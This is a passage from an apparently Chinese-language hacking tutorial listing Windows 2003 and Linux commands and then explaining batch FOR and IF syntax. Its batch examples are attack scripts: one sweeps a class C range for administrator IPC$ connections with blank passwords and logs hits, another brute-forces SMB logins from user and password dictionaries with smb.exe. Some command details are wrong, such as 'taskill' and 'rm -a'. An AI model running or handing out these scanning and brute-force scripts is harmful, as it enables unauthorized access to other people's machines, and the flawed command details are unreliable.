<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">win2003</span><span style="color: black;"><span style="">系统下新增命令（实用部份）：</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">shutdown /</span><span style="color: black;"><span style="">参数</span></span><span style="font-family: Arial; color: black;"> </span><span style=""><span style="color: black;">关闭或重启本地或远程主机。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">参数说明：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/S </span><span style="color: black;"><span style="">关闭主机，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/R </span><span style="color: black;"><span style="">重启主机，</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> /T </span><span style="color: black;"><span style="">数字</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">设定延时的时间，范围</span></span><span style="font-family: Arial; color: black;" lang="EN-US">0</span><span style="color: black;"><span style="">～</span></span><span style="font-family: Arial; color: black;" lang="EN-US">180</span><span style="color: black;"><span style="">秒之间，</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> /A</span><span style="color: black;"><span style="">取消开机，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/M //IP </span><span style=""><span style="color: black;">指定的远程主机。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">例：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">shutdown /r /t 0 </span><span style="color: black;"><span style="">立即重启本地主机（无延时）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">taskill /</span><span style="color: black;"><span style="">参数</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">进程名或进程的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">pid </span><span style=""><span style="color: black;">终止一个或多个任务和进程。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">参数说明：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/PID </span><span style="color: black;"><span style="">要终止进程的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">pid,</span><span style="color: black;"><span style="">可用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">tasklist</span><span style="color: black;"><span style="">命令获得各进程的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">pid</span><span style="color: black;"><span style="">，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/IM </span><span style="color: black;"><span style="">要终止的进程的进程名，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/F </span><span style="color: black;"><span style="">强制终止进程，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/T </span><span style="color: black;"><span style="">终止指定的进程及他所启动的子进程。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">tasklist </span><span style="color: black;"><span style="">显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(PID)</span><span style=""><span style="color: black;">。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">参数说明：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/M </span><span style="color: black;"><span style="">列出当前进程加载的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">dll</span><span style="color: black;"><span style="">文件，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/SVC </span><span style=""><span style="color: black;">显示出每个进程对应的服务，无参数时就只列出当前的进程。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style=""><span style="font-size: small;"><span style="color: black;">（六）</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">Linux</span><span style="color: black;"><span style="">系统下基本命令：</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">要区分大小写</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">uname </span><span style="color: black;"><span style="">显示版本信息（同</span></span><span style="font-family: Arial; color: black;" lang="EN-US">win2K</span><span style="color: black;"><span style="">的</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> ver</span><span style="color: black;"><span style="">）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">dir </span><span style="color: black;"><span style="">显示当前目录文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,ls -al </span><span style="color: black;"><span style="">显示包括隐藏文件（同</span></span><span style="font-family: Arial; color: black;" lang="EN-US">win2K</span><span style="color: black;"><span style="">的</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> dir</span><span style="color: black;"><span style="">）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">pwd </span><span style="color: black;"><span style="">查询当前所在的目录位置</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">cd cd ..</span><span style="color: black;"><span style="">回到上一层目录，注意</span></span><span style="font-family: Arial; color: black;" lang="EN-US">cd </span><span style="color: black;"><span style="">与</span></span><span style="font-family: Arial; color: black;" lang="EN-US">..</span><span style="color: black;"><span style="">之间有空格。</span></span><span style="font-family: Arial; color: black;" lang="EN-US">cd /</span><span style="color: black;"><span style="">返回到根目录。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">cat </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">查看文件内容</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">cat >abc.txt </span><span style="color: black;"><span style="">往</span></span><span style="font-family: Arial; color: black;" lang="EN-US">abc.txt</span><span style="color: black;"><span style="">文件中写上内容。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">more </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">以一页一页的方式显示一个文本文件。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">cp </span><span style="color: black;"><span style="">复制文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">mv </span><span style="color: black;"><span style="">移动文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">rm </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">删除文件，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">rm -a </span><span style="color: black;"><span style="">目录名删除目录及子目录</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">mkdir </span><span style="color: black;"><span style="">目录名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">建立目录</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">rmdir </span><span style="color: black;"><span style="">删除子目录，目录内没有文档。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">chmod </span><span style="color: black;"><span style="">设定档案或目录的存取权限</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">grep </span><span style="color: black;"><span style="">在档案中查找字符串</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">diff </span><span style="color: black;"><span style="">档案文件比较</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">find </span><span style="color: black;"><span style="">档案搜寻</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">date </span><span style="color: black;"><span style="">现在的日期、时间</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">who </span><span style="color: black;"><span style="">查询目前和你使用同一台机器的人以及</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Login</span><span style="color: black;"><span style="">时间地点</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">w </span><span style="color: black;"><span style="">查询目前上机者的详细资料</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">whoami </span><span style="color: black;"><span style="">查看自己的帐号名称</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">groups </span><span style="color: black;"><span style="">查看某人的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Group </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">passwd </span><span style="color: black;"><span style="">更改密码</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">history </span><span style="color: black;"><span style="">查看自己下过的命令</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">ps </span><span style="color: black;"><span style="">显示进程状态</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">kill </span><span style="color: black;"><span style="">停止某进程</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">gcc </span><span style="color: black;"><span style="">黑客通常用它来编译</span></span><span style="font-family: Arial; color: black;" lang="EN-US">C</span><span style="color: black;"><span style="">语言写的文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">su </span><span style="color: black;"><span style="">权限转换为指定使用者</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">telnet IP telnet</span><span style="color: black;"><span style="">连接对方主机（同</span></span><span style="font-family: Arial; color: black;" lang="EN-US">win2K</span><span style="color: black;"><span style="">），当出现</span></span><span style="font-family: Arial; color: black;" lang="EN-US">bash$</span><span style="color: black;"><span style="">时就说明连接成功。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">ftp ftp</span><span style="color: black;"><span style="">连接上某服务器（同</span></span><span style="font-family: Arial; color: black;" lang="EN-US">win2K</span><span style="color: black;"><span style="">）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style=""><span style="font-size: small;"><span style="color: black;">附：批处理命令与变量</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">1</span><span style="color: black;"><span style="">：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">for</span><span style="color: black;"><span style="">命令及变量</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">基本格式：</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">FOR /</span><span style="color: black;"><span style="">参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> %variable IN (set) DO command [command_parameters] %variable:</span><span style="color: black;"><span style="">指定一个单一字母可替换的参数，如：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%i </span><span style="color: black;"><span style="">，而指定一个变量则用：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%%i </span><span style="color: black;"><span style="">，而调用变量时用：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%i% </span><span style="color: black;"><span style="">，变量是区分大小写的（</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%i </span><span style="color: black;"><span style="">不等于</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> %I</span><span style=""><span style="color: black;">）。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">批处理每次能处理的变量从</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%0—%9</span><span style="color: black;"><span style="">共</span></span><span style="font-family: Arial; color: black;" lang="EN-US">10</span><span style="color: black;"><span style="">个，其中</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%0</span><span style="color: black;"><span style="">默认给批处理文件名使用，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%1</span><span style="color: black;"><span style="">默认为使用此批处理时输入的的第一个值，同理：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%2—%9</span><span style="color: black;"><span style="">指输入的第</span></span><span style="font-family: Arial; color: black;" lang="EN-US">2-9</span><span style="color: black;"><span style="">个值；例：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">net use //ip/ipc$ pass /user:user </span><span style="color: black;"><span style="">中</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ip</span><span style="color: black;"><span style="">为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%1,pass</span><span style="color: black;"><span style="">为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%2 ,user</span><span style="color: black;"><span style="">为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%3</span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">(set):</span><span style="color: black;"><span style="">指定一个或一组文件，可使用通配符，如：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(D:/user.txt)</span><span style="color: black;"><span style="">和</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(1 1 254)(1 -1 254),{ “(1 1 254)”</span><span style="color: black;"><span style="">第一个</span></span><span style="font-family: Arial; color: black;" lang="EN-US">"1"</span><span style="color: black;"><span style="">指起始值，第二个</span></span><span style="font-family: Arial; color: black;" lang="EN-US">"1"</span><span style="color: black;"><span style="">指增长量，第三个</span></span><span style="font-family: Arial; color: black;" lang="EN-US">"254"</span><span style="color: black;"><span style="">指结束值，即：从</span></span><span style="font-family: Arial; color: black;" lang="EN-US">1</span><span style="color: black;"><span style="">到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">254</span><span style="color: black;"><span style="">；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“(1 -1 254)”</span><span style="color: black;"><span style="">说明：即从</span></span><span style="font-family: Arial; color: black;" lang="EN-US">254</span><span style="color: black;"><span style="">到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">1 }</span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">command</span><span style="color: black;"><span style="">：指定对第个文件执行的命令，如：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">net use</span><span style="color: black;"><span style="">命令；如要执行多个命令时，命令这间加：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">& </span><span style=""><span style="color: black;">来隔开</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">command_parameters</span><span style=""><span style="color: black;">：为特定命令指定参数或命令行开关</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">IN (set)</span><span style="color: black;"><span style="">：指在</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(set)</span><span style="color: black;"><span style="">中取值；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">DO command </span><span style="color: black;"><span style="">：指执行</span></span><span style="font-family: Arial; color: black;" lang="EN-US">command</span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">参数：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/L </span><span style="color: black;"><span style="">指用增量形式</span></span><span style="font-family: Arial; color: black;" lang="EN-US">{ (set)</span><span style="color: black;"><span style="">为增量形式时</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> }</span><span style="color: black;"><span style="">；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/F </span><span style="color: black;"><span style="">指从文件中不断取值，直到取完为止</span></span><span style="font-family: Arial; color: black;" lang="EN-US">{ (set)</span><span style="color: black;"><span style="">为文件时，如</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(d:/pass.txt)</span><span style="color: black;"><span style="">时</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> }</span><span style="color: black;"><span style="">。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">用法倮</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> ?</span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;">@echo off </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">echo </span><span style="color: black;"><span style="">用法格式：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">test.bat *.*.* > test.txt </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use //%1.%%G /user:administrator | find "</span><span style="color: black;"><span style="">命令成功完成</span></span><span style="font-family: Arial; color: black;" lang="EN-US">" >>test.txt </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">存为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">test.bat </span><span style="color: black;"><span style="">说明：对指定的一个</span></span><span style="font-family: Arial; color: black;" lang="EN-US">C</span><span style="color: black;"><span style="">类网段的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">254</span><span style="color: black;"><span style="">个</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP</span><span style="color: black;"><span style="">依次试建立</span></span><span style="font-family: Arial; color: black;" lang="EN-US">administrator</span><span style="color: black;"><span style="">密码为空的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IPC$</span><span style="color: black;"><span style="">连接，如果成功就把该</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP</span><span style="color: black;"><span style="">存在</span></span><span style="font-family: Arial; color: black;" lang="EN-US">test.txt</span><span style=""><span style="color: black;">中。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">/L</span><span style="color: black;"><span style="">指用增量形式（即从</span></span><span style="font-family: Arial; color: black;" lang="EN-US">1-254</span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US">254-1</span><span style="color: black;"><span style="">）；输入的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP</span><span style="color: black;"><span style="">前面三位：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">*.*.*</span><span style="color: black;"><span style="">为批处理默认的</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> %1</span><span style="color: black;"><span style="">；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%%G </span><span style="color: black;"><span style="">为变量</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(ip</span><span style="color: black;"><span style="">的最后一位）；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">& </span><span style="color: black;"><span style="">用来隔开</span></span><span style="font-family: Arial; color: black;" lang="EN-US">echo </span><span style="color: black;"><span style="">和</span></span><span style="font-family: Arial; color: black;" lang="EN-US">net use </span><span style="color: black;"><span style="">这二个命令；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">| </span><span style="color: black;"><span style="">指建立了</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ipc$</span><span style="color: black;"><span style="">后，在结果中用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">find</span><span style="color: black;"><span style="">查看是否有</span></span><span style="font-family: Arial; color: black;" lang="EN-US">"</span><span style="color: black;"><span style="">命令成功完成</span></span><span style="font-family: Arial; color: black;" lang="EN-US">"</span><span style="color: black;"><span style="">信息；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%1.%%G </span><span style="color: black;"><span style="">为完整的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP</span><span style="color: black;"><span style="">地址；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(1 1 254) </span><span style="color: black;"><span style="">指起始值，增长量，结止值。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;">@echo off </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">echo </span><span style="color: black;"><span style="">用法格式：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ok.bat ip </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;">FOR /F %%i IN (D:/user.dic) DO smb.exe %1 %%i D:/pass.dic 200 </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">存为：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ok.exe </span><span style="color: black;"><span style="">说明：输入一个</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP</span><span style="color: black;"><span style="">后，用字典文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US">d:/pass.dic</span><span style="color: black;"><span style="">来暴解</span></span><span style="font-family: Arial; color: black;" lang="EN-US">d:/user.dic</span><span style="color: black;"><span style="">中的用户密码，直到文件中值取完为止。</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%%i</span><span style="color: black;"><span style="">为用户名；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%1</span><span style="color: black;"><span style="">为输入的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP</span><span style=""><span style="color: black;">地址（默认）。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">（</span></span><span style="font-family: Arial; color: black;"> </span><span style=""><span style="color: black;">七）</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">2</span><span style="color: black;"><span style="">：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">if</span><span style="color: black;"><span style="">命令及变量</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">基本格式：</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">IF [not] errorlevel </span><span style="color: black;"><span style="">数字</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">命令语句</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“</span><span style="color: black;"><span style="">真</span></span><span style="font-family: Arial; color: black;" lang="EN-US">”</span><span style=""><span style="color: black;">。</span></span></span></pre>
